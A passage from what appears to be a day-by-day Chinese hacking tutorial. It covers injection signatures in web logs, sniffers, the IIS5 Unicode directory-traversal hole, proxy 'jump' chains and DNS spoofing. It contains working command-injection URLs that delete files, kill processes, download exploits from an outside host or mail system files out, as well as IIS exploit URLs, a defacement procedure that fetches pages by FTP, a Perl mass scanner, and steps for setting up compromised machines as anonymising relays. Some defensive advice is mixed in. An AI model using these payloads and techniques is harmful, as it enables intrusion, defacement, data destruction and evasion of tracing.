常可以看到有很多 web 应用程序用这个字符，这也导致 IDS 日志中错误的报警。

在你的程序仔细的检查中，这样是有好处的，可以降低错误的警报在入侵检测系统中。

下面给出一些列子：

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

这个请求命令执行，下面是一些变化的列子

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

这个请求在 unix 系统中列出/etc 目录的所有文件

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20'lame'

这个请求 cat 命令的执行并且 grep 命令也将执行，查询出”lame'

(5)';' 请求

在 unix 系统，这个字符允许多个命令在一行执行

Example:

id;uname -a

（执行 id 命令后，紧跟着执行 uname 命令）

一些 web 程序用这个字符，可能导致在 IDS 日志中失败的警告，应该仔细的检查 web 程序，让 IDS 警报失败的几率降低

(6）'<' 和 '>' 请求

应该检查你的日志记录中这两个字符，众多的原因中，首要的一个是这个字符表明了添加数据在文件中

Example 1:

echo 'your hax0red h0 h0' >> /etc/motd （请求写信息在 motd 这个文件中)

一个攻击者可以容易的用象上面的这个请求篡改你的 web 页面。比如著名的 RDS exploit 常被攻击者用于更改 web 主页面。

Example 2:

http://host/something.php=Hi%20mom%20Im%20Bold!

你会注意到这里 html 语言的标志，同样用了“〈”，“〉”字符，这种攻击不能导致攻击者对系统进行访问，它迷惑人们认为这是个合法的信息在 web 站点中（导致人们在访问这个联结的时候访问到攻击者设定的地址，这种请求可能会被转变成 16 进制的编码字符形式，使攻击的痕迹不那么明显）

（7）'!'请求

这种字符请求常用语对 SS(Server Side Include) I 进行攻击，如果攻击者迷惑用户点击被攻击者设定的联结，和上面的一样。

Example:

http://host1/something.php=

这个列子是攻击者可能会做的，它让一个 host2 站点上的文件看起来是来自于 host1 上面的（当然，需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成 16 进制的编码伪装，不易发现）

同时，这种方式也可以以 web 站点的权限执行命令

Example:

http://host/something.php=

这个列子在远程的系统上执行“id'的命令，它将显示这个 web 站点用户的 id，通常是”nobody'或者“www'

这种形式也允许包含隐藏文件。

Example:

http://host/something.php=

这个隐藏文件.htpasswd 不会被显示出来,Apache 建立的规则会拒绝这种以.ht 形式的请求，而 SSI 标志会绕过这种限制，并导致安全问题

（8）' 这种攻击用于试图在远程的 web 应用程序中插入 PHP 程序，它可能允许执行命令，这取决于服务器的设置，和其他起作用的一些因素（比如 php 设置为安全模式）

Example: http://host/something.php=

在某些简单的 php 应用程序中，它可能会在远程系统上以 web 站点用户的权限执行本地命令

（9）'`' 请求

这种字符后面常用在 perl 中执行命令，这个字符在 web 应用程序中不是经常的使用，所以，如果看到它在你的日志中，应该非常小心

Example:

http://host/something.cgi=`id`

一个 perl 写的有问题的 cgi 程序，会导致执行 id 命令

下面是针对管理员说的,因为现在很多网管都在看这个,所以我觉得有必要写一点,当然也是让你知道你的对手有哪些着数了,呵呵.我只是罗列了一些攻击后的痕迹,当然不能罗列所有了

'/bin/ls'

这个命令请求整个路径，在很多的 web 应用程序中都有这个漏洞，如果你在日志中很多地方都看到这种请求，很大的可能性是存在远程执行命令漏洞，但并不一定是个问题，也可能是个错误的警报。再一次提醒，写好的 web 应用程序（cgi,asp,php...etc)是安全的基础

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|

http://host/cgi-bin/bad.cgi?doh=ls%20-al;

'cmd.exe'

这是一个 windows 的 shell,一个攻击者如果访问并运行这个脚本，在服务器设置允许的条件下可以在 windows 机器上做任何事情，很多的蠕虫病毒就是通过 80 端口，传播到远程的机器上

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

'/bin/id'

这是个 2 进制的文件，它的问题和/bin/ls 一样，如果你在日志中很多地方都看到这种请求，很大的可能性是存在远程执行命令漏洞，但并不一定是个问题，也可能是个错误的警报。

它将显示属于哪个用户和属于哪个组

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|

http://host/cgi-bin/bad.cgi?doh=id;

'/bin/rm'

这个命令可以删除文件，如果不正确的使用是非常危险的

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|

http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

'wget and tftp' 命令

这些命令常被攻击者用来下载可能进一步获得特权的文件，wget 是 unix 下的命令，可能被用来下载后门程序，tftp 是 unix 和 nt 下的命令，用来下载文件。一些 IIS 蠕虫通过 tftp 来复制自身传播病毒到其他的主机

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

'cat' 命令

这个命令用来查看文件内容，常用来读重要的信息，比如配置文件，密码文件，信用卡文件和你能够想到的文件

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

'echo' 命令

这个命令常用于写数据到文件中，比如“index.html”

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt;

'ps' 命令

列出当前运行的进程，告诉攻击者远程主机运行了那些软件，以便从中得到一些安全问题的主意，获得进一步的权限

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

'kill and killall' 命令

在 unix 系统这个命令用于杀掉进程，一个攻击者可以用这个命令来停止系统服务和程序，同时可以擦掉攻击者的痕迹，一些 exploit 会产生很多的子进程

Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

'uname' 命令

这个命令告诉攻击者远程机器的名字，一些时候，通过这个命令知道 web 站点位于哪个 isp，也许是攻击者曾今访问过的。通常 uname -a 来请求，这些都将记录在日志文件中

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;

'cc, gcc, perl, python, etc...' 编译/解释命令

攻击者通过 wget 或者 tftp 下载 exploit，并用 cc,gcc 这样的编译程序进行编译成可执行程序，进一步获得特权

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的 perl ,python 脚本程序，并试图本地获得特权

'mail' 命令

攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱，也肯能是进行邮件炸弹的攻击

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@****cnhonker.org%20<

『第 14 天』sniffer，今天开始说它了

sniffers(嗅探器)几乎和 internet 有一样久的历史了.他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具.但是这个工具也给我们带来很大的方便。今天我们看 2 个问题：1。什么是 sniffer 2。如何防止 sniffer 的监听。似乎是矛盾的哦，呵呵，要 2 个方面都知道才能百战百胜嘛

什嘛是 sniffer （抄定义的）

在单选性网络中, 以太网结构广播至网路上所有的机器, 但是只有预定接受信息包的那台计算机才会响应. 不过网路上其他的计算机同样会"看到"这个信息包,但是如果他们不是预定的接受者,他们会排除这个信息包. 当一台计算机上运行着 sniffer 的时候并且网络处于监听所有信息交通的状态, 那么这台计算机就有能力浏览所有的在网络上通过的信息包.（这个当然很爽了）

那你就有个问题谁使用这个呢？lan/wan 管理员使用 sniffers 来分析网络信息交通并且找出网络上何处发生问题.一个安全管理员可以同时用多种 sniffers, 将它们放置在网络的各处,形成一个入侵警报系统. 对于系统管理员来说 sniffers 是一个非常好的工具，当然还有我们大家了。那常见的 sniffers 有哪些呢？很多，我常用的有 Sniffer Pro。当然看一些文章介绍了 snoop，但注意这是在 UNIX 下的，我没怎么用 过 ，所以就不说这个了。至于其他一些好用的，我想你学到现在了应该可以自己找了（上 GOOGLE 或是 BAIDU 都可以，不然去 www.yahoo.com 也不错的）。

那怎么防止 sniffer 的监听？

显而易见的,保护网络不受 sniffer 监听的方法就是不要让它们进入. 如果一个人不能通过你的系统进入的话,那么他们无法安装 sniffers.当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时,他们便确定这是他们的攻击目标并将被监视.一些可能的"受害者"在服务器的旁边,这时候个人信息将被截获（可能是各种信息甚至是密码）

一个好的方式来保护你的网络不受 sniffer 监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段.接线器可以分割你的网络通讯并防止每一个系统"看到"每个信息包.坏处是这种东西太贵了，这个还是很重要的

另一个方法是,和那种接线器比就是加密术.Sniffer 依然可以监视到信息的传送,但是显示的是乱码.但这个有问题就是网络会延迟，当然还有速度问题和使用一个弱加密术比较容易被攻破。

用一些软件也可以帮助你查出是不是有人在监视你，比如 AntiSniff（很小的，但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思？你看看上面的类容吧），下载：http://www.pdasky.com.cn/down.asp?id=2876&no=1

『第 15 天』网络监听技术分析 纯属理论

今天我们先说几个基本概念.首先，我们知道，一台接在以太网内的计算机为了和其他主机进行通讯，在硬件上是需要网卡，在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址，称为 mac 地址。同时，当网络中两台主机在实现 tcp/ip 通讯时，网卡还必须绑定一个唯一的 ip 地址.

对我们来说，浏览网页，收发邮件等都是很平常，很简便的工作，其实在后台这些工作是依*tcp/ip 协议族实现的，大家知道有两个主要的网络体系：OSI 参考模型和 TCP/IP 参考模型，OSI 模型即为通常说的 7 层协议，它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层，而 tcp/ip 模型中去掉了会话层和表示层后，由剩下的 5 层构成了互联网的基础，在网络的后台默默的工作着。

当局域网内(因为我们最常见的就是局域网)的主机都通过 HUB 等方式连接时，一般都称为共享式的连接(就是大家长说的共享)，这种共享式的连接有一个很明显的特点：就是 HUB 会将接收到的所有

数据向 HUB 上的每个端口转发，也就是说当主机根据 mac 地址进行数据包发送时，尽管发送端主机告知了目标主机的地址，但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯，只是在正常状况下其他主机会忽略这些通讯报文而已！如果这些主机不愿意忽略这些报文，网卡被设置为 promiscuous 状态的话，那么，对于这台主机的网络接口而言，任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式（promiscuous），主机将会默不作声的听到以太网内传输的所有信息，也就是说：窃听也就因此实现了！

对发生在局域网的其他主机上的监听，一直以来，都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包，几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊,现在已经有些方法了

1：反应时间

向怀疑有网络监听行为的网络发送大量垃圾数据包，根据各个主机回应的情况进行判断，正常的系统回应的时间应该没有太明显的变化，而处于混杂模式的系统由于对大量的垃圾信息照单全收，所以很有可能回应时间会发生较大的变化。这个方法很好,但有时候也没用因为大家没经验嘛

2：观测 dns

许多的网络监听软件都会尝试进行地址反向解析，在怀疑有网络监听发生时可以在 dns 系统上观测有没有明显增多的解析请求。没 DNS 的或者不能接触的就有点郁闷了

3：利用 ping 模式进行监测

这个方法我不怎么知道,看了一些文章就 COPY 了一下,有点头晕,但应该能看懂:假设我们怀疑的主机的硬件地址是 00:30:6E:00:9B:B9,它的 ip 地址是 192.168.1.1,那么我们现在伪造出这样的一种 icmp 数据包：硬件地址是不与局域网内任何一台主机相同的 00:30:6E:00:9B:9B,目的地址是 192.168.1.1 不变，我们可以设想一下这种数据包在局域网内传输会发生什么现象：任何正常的主机会检查这个数据包，比较数据包的硬件地址，和自己的不同，于是不会理会这个数据包，而处于网络监听模式的主机呢？由于它的网卡现在是在混杂模式的，所以它不会去对比这个数据包的硬件地址，而是将这个数据包直接传到上层，上层检查数据包的 ip 地址，符合自己的 ip，于是会对对这个 ping 的包做出回应。这样，一台处于网络监听模式的主机就被发现了。

4：利用 arp 数据包进行监测

这个方法和上面的差不多,它使用 arp 数据包替代了上述的 icmp 数据包而已,向局域网内的主机发送非广播方式的 arp 包，如果局域网内的某个主机响应了这个 arp 请求，那 么我们就可以判断它很可能就是处于网络监听模式了，这是目前相对而言比较好的监测模式。

(什么叫 ARP?就说 ARP 协议,它是 Address Resolution Protocol”（地址解析协议）的缩写,在局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的 MAC 地址的.所谓“地址解析”就是主机在发送帧前将目标 IP 地址转换成目标 MAC 地址的过程。ARP 协议的基本功能就是通过目标设备的 IP 地址，查询目标设备的 MAC 地址，以保证通信的顺利进行。)

昨天有些朋友说找不到一些网络监听的工具,你在 www.google.com 搜 sniffer tools 有很多的.

我就列举一些了

Windows 平台下的：

Windump http://www.xfocus.net/tools/200108/238.html

相关介绍：http://security.zz.ha.cn/windump.html

注意这个是在 NT 下用的 98 就别用了，说到这想说一局如果你的系统是 98 或是 ME 的，最好换一个，因为好多很好的软件都要求是 NT 的

UNIX 下：

Sniffithttp://www.programsalon.com/download.asp?type_id=53 第 6 个

该软件的安装介绍：http://www.xfocus.net/articles/200001/28.html

[第 16 天]IIS5 UNICODE 编码漏洞

unicode 漏洞是最容易让入侵者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除

硬盘上的数据,高手甚至获取 administrator 权限!

漏洞自大前年年 10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞

下面我从一般的入侵手法分析如何做相应的防护对策.

(一)unicode 漏洞的原理

有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解

好了!

实际上就是 UNICODE 编码存在 BUG，在 UNICODE 编码中

%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'

%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

在 NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af

该漏洞是利用扩展 UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有

unicode 漏洞的服务器 ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可

以看到主机上 c 盘的所有文件及目录.

(二)unicode 漏洞的危害

未经授权的用户可能利用 IUSR_machinename 账号的上下文空间访问任何已知的文件。

该账号在默认情况下属于 Everyone 和 Users 组的成员，因此任何与 Web 根目录在同一逻辑

驱动器上的能被这些用户组访问的文件都能被删除,修改或执行，就如同一个用户成功登陆

所能完成的一样。

以上部分内容摘自绿盟!

(三)unicode 漏洞的攻击手法

1、利用漏洞修改主页

这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足感.然而黑网页也是最简单的事情。

手段描述一:入侵者先用扫描工具扫到有漏洞的主机后,在 IE 的地址栏里输入 http://主机的 ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上 c 盘的所有文件了.要查主页放在什么地方的话,可以将后边的 dir+c:\换成 set ,从返回的错误信息中找到 PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的 c:\inetpub\wwwroot 就是主页所在的地方!接着入侵者为了避免系统对特殊字符的检测,故将本地机器的 CMD.EXE 程序复制到主机的 c:\inetpub\scripts 目录中,这样干起活来就容易多了!他们查到主页的名字后,就可以利用 echo 命令来写入信息,将内容覆盖掉主页文件就把主页给黑了。

手段描述二:除了上面的土方法外,入侵者可以将有声有色的黑页替换主页,这样黑得不是更爽吗?来看看他们是如何做到的。

先在本地硬盘建立个共享文件夹(如 gale),把黑页复制进去。照样把 cmd.exe 拷贝到目标的 c:\inetpub\scripts 下,名字为 gale.exe，映射本地的 gale 目录为目标的一个盘(如 q:)

把 q:里的复制到目标主机的网页目录去。覆盖对方的网页文件，最后断开映射就可以了.

这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上传费事,怎么完美一点呢?请看下边。

手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。

入侵者先申请一个免费空间，把做好的黑页上传上去，然后利用 echo 命令在目标主机上建立一个文本文件，写上几行命令，如下：

目标主机 ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间 ip>文本文件名.txt

目标主机 ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt

目标主机 ip/gale.exe?/c+echo+密码>>文本文件名.txt

目标主机 ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt

目标主机 ip/gale.exe?/c+echo+bye>>文本文件名.txt

目标主机 ip/gale.exe?/c+ftp+-s:文本文件名.txt

这样入侵者就可以将黑页从另外一个空间下载到目标主机上，copy 过去覆盖就可以了。

这样入侵者不受地方的限制，随便什么地方了，比如网吧。

(四)unicode 漏洞的防护措施

说了那么多，现在该转入正题了，下面我来说说防范的措施，这也是从攻击中总结出来的一些措施，希望对大家有帮助。

1、打上最新补丁

作为一个网络管理员，为了服务器的安全，需要不停的打上最新补丁，这是比较有效的方法。但你要记住：在网络上,没有绝对的安全的，道高一尺,魔高一丈,完全相信防火墙和系统补丁往往是很愚蠢的。

2、冷酷到底，拒人于千里之外

相信到现在还利用 unicode 漏洞入侵的人都是些新手傻瓜们！他们没有确定的入侵目标，只是抓个扫描器来乱扫一通，扫到就黑，扫不到就哭的那种。对付扫描器扫出未知的漏洞，这是管理员的聪明之处。如何躲过扫描器的眼睛呢？请先看看下面一个用 perl 写的扫描器代码吧：

```
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
```

```
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
```

```
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
```

代码摘自绿盟。

不知道大家注意到上面长长的两行$url 和$url2 了没有，其实只是简单的字符串处理而

已。于是有以下几种方法避过扫描器的扫描:

① 更改 winnt 目录名

安装 winnt 或者 win2000 时，缺省目录是 c:\winnt.可以把这个目录名改成别的目录名，这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的 url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。（不知道小榕的流光能不能躲得过，但大部分的用 perl 写的扫描器经这样改了之后都不起作用了）。

安装前就可以这样,但是已经安装了，确实不想改 winnt/2000 的目录怎么办呢?那好,可以看看下边的:

② 更改 cmd.exe 和各常用命令的名称

更改 cmd.exe 的名称也可以达到同样的效果，而且更加可*，假如你只更改 winnt/win2000 所在的目录名的话，别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改成只有你知道的名字,① 和②结合的话更完美！

③ 改变 web 目录位置

通常主页所在的位置是在 C:\InetPub\wwwroot 里。在 c:\inetpub 里有 scripts 之类的目录。如果你不需要他们的话，你可以把 web 目录转移到别的分区，比如 e:\netroot 然后把 C:\inetpub 整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有 unicode 漏洞,但将 web 目录转移到 d 盘,并且 d 盘是不可写的,有位新手在 QQ 上向我抱怨说:"老大!你说的方法不行呀,我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高手只要动动脑筋,照样能黑掉!).

④ 停止不必要的服务

在 internet 服务器中,为了系统的安全,您必须停掉所有的缺省 web 目录的服务。然后统统删掉，只保留你所要的,以免招来后患.

⑤ 改变服务的端口号

在保证不影响访问率的情况下,我们可以把 web 服务的端口由 80 改成别的，比如 108。因为很多还是利用 unicode 漏洞攻击的人一般都是新手,他们都是拿一个扫描工具扫一个 ip 段的,这样做就可以躲避那种扫描一段网段的攻击者的扫描了。(注意:此方法只能防止这种方

式的扫描,别有用心的攻击者照样可以通过修改扫描器的插件来实行扫描的.但受攻击的可能性已经减低.)

3、限制 iusr_server 的权限

上面所说的措施是把攻击者拒绝于门外，如果真的很不幸，给攻击者找到门上来了，那不是死定了？不一定！攻击者利用 UNICODE 漏洞遍历目录时的用户权限是决定于 iusr_server 的权限的，而通常 iusr_server 是属于 guest 组的。我们只要进一步限制 iusr_server 的权限还有可能挽回（对于高手们就不一定这么说了）。

建议如下：采用 NTFS 格式的文件系统，将 web 目录外所有的访问权限设置为：用户 iusr_server 不可访问！注意：不要给 iusr_server 对 web 目录有写权限！理由是什么大家都很清楚！你的主页就是给这样的家伙给黑的，如果他没有写的权限，就象那台日本的主机一样，一般的新手们就难以下手了。（但是，那些确实是非写不可的地方，如：聊天室或论坛，是可以适当放开的）。

4、偷吃成功，寻找蛛丝马迹

这就是分析访问日志，一名合格的管理员，应该有经常查看日志的好习惯.日志是非常的多的,看起来很麻烦,但对于 unicode 漏洞的攻击,只要查看分析 web 服务的访问日志就可以了。扫描器的扫描和已经攻击完了的动作都会被记录下来,要注意特别留意出现的"cmd.exe"字眼。

最后,我建议:

① 管理好你的 admin 帐户和密码

因为现在的黑客新手们虽然是冲着 unicode 漏洞而来,但他们的师父们往往推荐他们用小榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是*黑客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过 8 位,大小写和复杂字符同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话。现在出现弱口令的机会是不多了

② 经常更改管理员的密码

保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户。一般的新手都是

学着别人教的招数,在管理员组里增加一个用户,留作后门.从入侵的角度来说,这是很危险的

做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了)。

[第 17 天]跳板的故事

跳板，这里的不是指跳水的扳子（废话），我想大家多跳板都应该有个基本的认识：就是通过这个东西跳过什么东西，掩盖什么东西。就是隐藏你的足迹，想要找出你，就必须连接 x 个你所通过的机器，并且找出他们的 log，如果碰巧有一个没有记录，线就断了:)，即使都记录了，log 里面登记的 IP 也是上一级跳板主机的 IP…

当然跳板还可以用于：

.QQ 或者 ICQ

. ftp 客户端

. mail 客户端

. telnet 客户端

. 端口扫描器

. (以及几乎所有在网络中所使用的工具)

想想如果不要跳板我们不是很危险吗？

这可能不适用于某些 IRC 服务器，因为它们常常查看打开着的 wingates 及 proxies。

先说简单的 windows 下的 sock 代理怎么做

一.找一些运行 wingate 的主机

原因：因为 wingates 的默认安装打开端口 1080 并且不记录 socks 连接。

怎么找这些机子呢？你可以用‘代理猎手’，好象中国人都用这个，国外人好象喜欢用 wingatescan，或是从这里可以找到最新的：http://www.cyberarmy.com/lists/wingate（国外的，我建议大家用国外的，因为追查有难度啊）

二.确认列表中的主机的确运行着 wingate

三.安装一个能截取发送的信息包的软件

我使用的是一个叫 purpose 的工具，你可以从

http://www.buffy.nu/article.php3?id_article=3043

要设置它，只要在 socks server 填上: 127.0.0.1 port 8000.

选择'socks version 5'.再点击'resolve all names remotely'.

不要选'supported authentication'。

在主界面，选择 new 然后建立一个你希望 socks 支持的程序的快捷方式

对所有你想匿名的程序做同样的工作,至于有哪些你就自己想了

四.安装 socks chainer

从 http://www.ufasoft.com/socks 下载该工具

在 service 菜单, 点击 new。在 name 段输入 Chain，port 则输入 8000。

点击 new 并且将你找到最快的 wingates 的 IP 填进去，端口则填 1080。

使用 '<' 和 '>', 你可以添加或者移除 socks. 记得一定要在使用前测试所有的 socks.

五.测试你的设置

用你所建立的浏览器的快捷方式打开浏览器，连接到

http://cavency.virtualave.net/cgi-bin/env.cgi 或者

http://internet.junkbuster.com/cgi-bin/show-http-headers

同样，打开你的 telnet 客户端并尝试 telnet 到

ftp.cztc.edu.cn

你可以通过 https://sites.inka.de:8001/cgi-bin/pyca/browser-check.py 来检测 SSL 或者

FTP 到 ftp.zedz.net——或者其它的 FTP 来验证你的 IP。

在上面的测试中，远程主机上留下的将是你最后一个 chain 的 IP 地址。当然你可以在自己的

网络里进行测试……

再说说另一种吧 SkSockServer“（下面称 SSS）

这个与上面的利用著名的 wingate 做的有什么区别？

1/ 普通的 Sock 代理程序不支持多跳板之间的连续跳，而 SSS 却可支持最多达 255 个跳板之间的连跳运动

2/ 普通的 Sock 代理程序之间的数据传输是不加密的，而 SSS 支持的跳板之间传输的数据是经过动态加密的，也就是说每次传输过程中，数据加密的方式都不相同。就算你不幸在..的过程中被 webmaster 发现，普通的 sock 代理程序将会被 webmaster 用 sniffer 把你的信息一览无遗，而恰巧你用的是 SSS 的话，呵呵～他将会看到一堆乱码

3/普通的 sock 代理程序在设置上比较烦琐，而 SSS 只用两步就全都 ok 了。（具体步骤将在下面说

明） 普通的 sock 代理程序要不然只支持 Tcp 或 Udp 的连接，很少有二者兼顾的，而 SSS 却全部支持

下面是一个大哥写的教程我觉得不错，就 COPY 一下了

找 A 机上传 SSS 文件，（怎么找我想你应该有个肉鸡吧）如果权限足够的话，应该可以完成 SSS 的安装和启动。所示：

SSS 命令参数的说明：

-install 在 NT 机上安装 SSS

-remove 移除 SSS.

-debug 呵呵～snake 进行 debug 用的，对于咱们老百姓来言无用。

sksockserver –install 安装 sksockserver。

net start skserver 启动 skserver 服务。：（注意：这可是在 A 机上运行的，可不是你自己的爱机）

Ok 啦～A 机跳板完成，下面进行 B 机跳板的安装：

打开终端服务客户端连上找到的 B 菜机。

用 B 菜机的 IE 直接下载 SSS~~呵呵～如图 2：（IP 地址隐去啦～大家自己找菜机吧）

在 B 菜机上配置 sockservercfg（因为是用 vc 编写的 sockservercfg,所以必须有 mfc 的库文件，如果出现“无法定位序数 XXXX 于动态连接库 mfc42.dll”的话，大家可以在自己的机子上找找，最终上传到 B 菜机的路径：X:\winnt\system32）

SSS 的配置界面一：在名称处可以填上任意的程序说明，以方便糊弄网管。要注意三处画红圈处，分别为：程序在开机时自动启动（我第一次用的时候还以为是给 SSS 自动分配端口～哎～Snake！So lazy!～）、安装服务、启动服务。

SSS 的配置界面二：是对 client 端进行限制的配置（呵呵～大家讲点义气，就别做限制啦）

SSS 的配置界面三：重要的地方哟！在 IP 处填入刚才做好的 A 菜机的 Ip 地址；激活 bActive 处（哎～什么叫 bActive 呀～就不会多作一个取消的？Snake!!!Too too lazy!）；之后点 Add.

最后提醒一句别忘了点确定哟

ok 啦～大功告成！再向大家推荐最后一个好东东－SocksCap（你可以在这找到：http://www.youngzsoft.com/cn/sockscap/）。在自己的机子上装好 SocksCap 后，设定用 Sock 5 代理的 IP 地址（就是 A 菜机的地址）,在 SocksCap 下运行程序，例如：telnet,ftp,ntshell,IE。。。。。所有可以上网的程序，呵呵～这样的你就从网络彻底消失啦～～

总结:

这篇文章只讲了两个跳板，同理，只要再设置 C,D,E.....（只要你不嫌麻烦）上的配置，就连跳了 n 个跳板啦；在设置 A 机的时候其实最好也用 3389 登陆设置，这样的话可以自己设定 SSS 的端口。

『第 18 天』几个 DNS 问题和网络攻击与防范

现在的 Internet 上存在的 DNS 服务器有绝大多数都是用 bind 来架设的,使用的 bind 版本主要为 bind 4.9.5+P1 以前版本和 bind 8.2.2-P5 以前版本.这些 bind 有个共同的特点,就是 BIND 会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.(什么叫 BIND?BIND 是一款由 ISC 维护的 Internet 域名名字系统实现。)

1>.DNS 欺骗

在 DNS 的缓存还没有过期之前,如果在 DNS 的缓存中已经存在的记录,一旦有客户查询,DNS 服务器将会直接返回缓存中的记录.

下面我们来看一个例子:

一台运行着 unix 的 Internet 主机,并且提供 rlogin 服务,它的 IP 地址为 123.45.67.89,它使用的 DNS 服务器(即/etc/resolv.conf 中指向的 DNS 服务器)的 IP 地址为 98.76.54.32,某个客户端(IP 地址为 38.222.74.2)试图连接到 unix 主机的 rlogin 端口,假设 unix 主机的/etc/hosts.equiv 文件中使用的是 dns 名称来允许目标主机的访问,那么 unix 主机会向 IP 为 98.76.54.32 的 DNS 服务器发出一个 PTR 记录的查询:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

IP 为 98.76.54.32 的 DNS 服务器中没有这个反向查询域的信息,经过一番查询,这个 DNS 服务器找到 38.222.74.2 和 38.222.74.10 为 74.222.38.in-addr.arpa.的权威 DNS 服务器,所以它会向 38.222.74.2 发出 PTR 查询:

98.76.54.32 -> 38.222.74.2 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

